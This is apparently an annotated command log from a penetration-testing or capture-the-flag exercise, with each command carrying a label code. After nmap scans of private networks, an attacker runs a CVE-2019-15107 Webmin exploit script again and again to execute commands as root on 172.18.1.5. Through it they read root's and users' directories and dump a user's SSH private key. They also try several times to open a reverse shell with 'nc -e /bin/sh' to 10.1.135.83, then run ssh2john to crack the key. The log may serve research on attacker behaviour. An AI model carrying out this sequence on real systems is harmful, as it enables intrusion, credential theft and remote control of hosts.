```
ls A10
                                       nmap A0 A1
                                nmap 192.168.128.0 A0 A1
                              nmap 192.168.128.0/24 A0 A1
                                nmap 10.1.135.0/24 A0 A1
                                 nmap 10.1.135.0/ A0 A1
                                nmap 10.1.135.0/16 A0 A1
                                   nmap 172.18.1.5 M0
                                 nmap -sV 172.18.1.5 M1
 curl http://172.18.1.5:10000/password change.cgi -d 'user=root&pam=&expired=2 A4 A10
   curl http://172.18.1.5:10000/password change.cgi -d 'user=root&pam=&expired=2 A4
                                          ls A10
                                          ls A10
                             python CVE 2019 15107.py A13
                           cat README.md A1 A9 A11 A12 A17
                 python CVE_2019_15107.py https://172.18.1.5:10000 A13
                python CVE 2019 15107.py https://172.18.1.5:10000 id A13
              python CVE 2019 15107.py http://172.18.1.5:10000 ls A10 A13
               python CVE 2019 15107.py http://172.18.1.5:10000 pwd A13
                                       ls /root A10
            python CVE_2019_15107.py http://172.18.1.5:10000 ls /root A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 ls /root/ A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 ls /root/; pwd A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/; pwd A13
          python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/; ls A10 A13
          python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/; ls A10 A13
        python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/; ls -al A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 ls /root/; A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 ls /root/ pwd; A10 A13
          python CVE 2019 15107.py http://172.18.1.5:10000 ls -al /root/; A10 A13
      python CVE_2019_15107.py http://172.18.1.5:10000 bash -c 'cd /root; ls'; A10 A13
    python CVE 2019 15107.py http://172.18.1.5:10000 bash -c 'cd /root; ls -al'; A10 A13
       python CVE 2019 15107.py http://172.18.1.5:10000 bash -c 'cd /root; pwd'; A13
          python CVE 2019 15107.py http://172.18.1.5:10000 bash -c 'ls'; A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 bash -c 'pwd'; A13
           python CVE 2019 15107.py http://172.18.1.5:10000 bash -c 'pwd' A13
       python CVE 2019 15107.py http://172.18.1.5:10000 /bin/bash -c 'echo anal' A13
               python CVE 2019 15107.py http://172.18.1.5:10000 pwd A13
              python CVE 2019 15107.py http://172.18.1.5:10000 cd /root A13
         python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/ & ls A10 A13
             python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/ A13
       python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/ & echo hello A13
       python CVE 2019 15107.py http://172.18.1.5:10000 'cd /root/ & echo hello' A13
      python CVE 2019 15107.py http://172.18.1.5:10000 'cd /root/ && echo hello' A13
         python CVE_2019_15107.py http://172.18.1.5:10000 'cd /root/ && pwd' A13
         python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/ && pwd A13
  python CVE 2019 15107.py http://172.18.1.5:10000 cat /root/flag A1 A9 A11 A12 A13 A17
               python CVE_2019_15107.py http://172.18.1.5:10000 pwd A13
              python CVE 2019 15107.py http://172.18.1.5:10000 cd /root/ A13
               python CVE 2019 15107.py http://172.18.1.5:10000 pwd A13
             python CVE 2019 15107.py http://172.18.1.5:10000 touch file A13
         python CVE 2019 15107.py http://172.18.1.5:10000 ls /root/ > file A10 A13
    python CVE 2019 15107.py http://172.18.1.5:10000 cat file A1 A9 A11 A12 A13 A17
              python CVE 2019 15107.py http://172.18.1.5:10000 ls A10 A13
                                          ls A10
               python CVE_2019_15107.py http://172.18.1.5:10000 pwd A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /root' A10 A13
 python CVE 2019 15107.py http://172.18.1.5:10000 'cat /root/WARNING-READ-ME.txt' M9
           python CVE 2019 15107.py http://172.18.1.5:10000 'find *.txt' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'cd /root/ && pwd' A13
          python CVE 2019 15107.py http://172.18.1.5:10000 'cd /root/; pwd' A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'cd /root; pwd' A13
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home' A10 A13
        python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/alive' A10 A13
       python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home/alice' A10 A13
       python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home/bob' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home/eve' M10
        python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/eve/.ssh' M10
     python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id_rsa' M12
        python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/eve/.ssh' M10
   python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id rsa.pub' M12
                                          ls A10
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home' A10 A13
       python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/debian' A10 A13
      python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home/debian' A10 A13
  python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home/debian/.ansible' A10 A13
python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home/debian/.ansible/tmp' A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /' A10 A13
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /root' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'find -L / *.txt' A10 A13
       python CVE 2019 15107.py http://172.18.1.5:10000 'find -L / -name *.txt' M10
                                          ls A10
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /root' A10 A13
             python CVE 2019 15107.py http://172.18.1.5:10000 'ls /' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls -al /home' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home' A10 A13
               python CVE 2019 15107.py http://172.18.1.5:10000 'pwd' A13
  python CVE 2019 15107.py http://172.18.1.5:10000 'nc -e /bin/sh 10.1.135.83 8080' A13
  python CVE 2019 15107.py http://172.18.1.5:10000 'nc -e /bin/sh 10.1.135.83 8080' A13
                                          ls A10
  python CVE 2019 15107.py http://172.18.1.5:10000 'nc -e /bin/sh 10.1.135.83 8080' A13
                                          ls A10
  python CVE 2019 15107.py http://172.18.1.5:10000 'nc -e /bin/sh 10.1.135.83 8080' A13
                                          ls A10
```

python ssh2john.py M13

ls A10

cat ssh2john.py A1 A9 A11 A12 A14 A16 A17